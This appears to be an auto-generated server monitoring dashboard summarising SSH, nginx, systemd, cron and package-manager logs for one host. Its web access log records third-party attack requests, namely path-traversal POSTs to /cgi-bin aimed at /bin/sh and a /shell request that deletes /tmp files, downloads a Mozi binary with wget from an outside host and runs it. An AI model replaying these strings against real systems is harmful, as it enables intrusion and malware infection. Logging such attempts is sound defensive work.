Server Activity Dashboard

srv1675884.hstgr.cloud · live snapshot of recent server activity
Updated 2026-06-06T08:00:58.770770+00:00
Window starts 2026-06-05T20:00:58.770744+00:00
Uptime
up 2 weeks, 6 days, 22 hours, 48 minutes
Load
1.37 1.35 1.30
Memory
1.5Gi used / 3.8Gi total
Disk /
21G used / 49G total (43% used)
Kernel
6.12.0-124.52.3.el10_1.x86_64
Failed SSH logins
36

Security

SSH activity
Failed logins: 36
Top IPs
  • 82.25.175.105 · 26 hits
  • 172.86.116.3 · 2 hits
Recent auth events
  • Jun 6 07:02:17 srv1675884 sshd-session[1131567]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.25.175.105
  • Jun 6 07:02:20 srv1675884 sshd-session[1131567]: Failed password for invalid user mqtt from 82.25.175.105 port 50962 ssh2
  • Jun 6 07:04:03 srv1675884 sshd-session[1131627]: Invalid user localhost from 82.25.175.105 port 56944
  • Jun 6 07:04:03 srv1675884 sshd-session[1131627]: pam_unix(sshd:auth): check pass; user unknown
  • Jun 6 07:04:03 srv1675884 sshd-session[1131627]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.25.175.105
  • Jun 6 07:04:06 srv1675884 sshd-session[1131627]: Failed password for invalid user localhost from 82.25.175.105 port 56944 ssh2
  • Jun 6 07:05:51 srv1675884 sshd-session[1131698]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.25.175.105 user=root
  • Jun 6 07:05:53 srv1675884 sshd-session[1131698]: Failed password for root from 82.25.175.105 port 45058 ssh2

Web

HTTP status mix
200: 12301: 2400: 2404: 2405: 2
Top IPs
  • 216.73.217.15 · 6 hits
  • 47.82.67.36 · 5 hits
  • 134.122.27.47 · 4 hits
  • 47.86.105.37 · 1 hits
  • 34.77.67.35 · 1 hits
Recent access highlights
  • 47.82.67.36 - - [06/Jun/2026:03:35:50 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 157 "-" "-" "-"
  • 47.82.67.36 - - [06/Jun/2026:03:35:50 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 157 "-" "-" "-"
  • 34.77.67.35 - - [06/Jun/2026:04:00:15 +0000] "GET / HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-"
  • 124.29.226.69 - - [06/Jun/2026:04:15:47 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://124.29.226.69:57919/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 153 "-" "Hello, world" "-"
  • 124.29.226.69 - - [06/Jun/2026:04:15:47 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://124.29.226.69:57919/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 153 "-" "Hello, world" "-"

System

Recent service / journal activity
  • Jun 6 08:00:50 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 6 08:00:50 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
  • Jun 6 08:00:53 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 162957.
  • Jun 6 08:00:53 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
  • Jun 6 08:00:54 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 6 08:00:54 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
  • Jun 6 08:00:57 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 162958.
  • Jun 6 08:00:57 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
  • Jun 6 08:00:58 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 6 08:00:58 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.

Maintenance

Cron
  • Jun 6 06:01:01 srv1675884 CROND[1129463]: (root) CMD (run-parts /etc/cron.hourly)
  • Jun 6 06:01:01 srv1675884 run-parts[1129466]: (/etc/cron.hourly) starting 0anacron
  • Jun 6 06:01:01 srv1675884 run-parts[1129472]: (/etc/cron.hourly) finished 0anacron
  • Jun 6 06:01:01 srv1675884 CROND[1129462]: (root) CMDEND (run-parts /etc/cron.hourly)
  • Jun 6 07:01:01 srv1675884 CROND[1131512]: (root) CMD (run-parts /etc/cron.hourly)
  • Jun 6 07:01:01 srv1675884 run-parts[1131515]: (/etc/cron.hourly) starting 0anacron
  • Jun 6 07:01:01 srv1675884 run-parts[1131521]: (/etc/cron.hourly) finished 0anacron
  • Jun 6 07:01:01 srv1675884 CROND[1131511]: (root) CMDEND (run-parts /etc/cron.hourly)
Package manager
  • 2026-06-06T04:04:33+0000 DEBUG extras: using metadata from Fri 05 Jun 2026 12:51:59 PM UTC.
  • 2026-06-06T04:04:34+0000 DEBUG reviving: failed for 'epel', mismatched sha256 sum.
  • 2026-06-06T04:05:09+0000 DEBUG epel: using metadata from Fri 05 Jun 2026 03:33:46 AM UTC.
  • 2026-06-06T04:05:16+0000 INFO Metadata cache created.
  • 2026-06-06T05:39:25+0000 INFO --- logging initialized ---
  • 2026-06-06T05:39:26+0000 INFO Metadata cache refreshed recently.
  • 2026-06-06T06:59:17+0000 INFO --- logging initialized ---
  • 2026-06-06T06:59:19+0000 INFO Metadata cache refreshed recently.

Highlights

Data sources: /var/log/cron, /var/log/secure, /var/log/messages, /var/log/nginx/access.log, /var/log/dnf.log.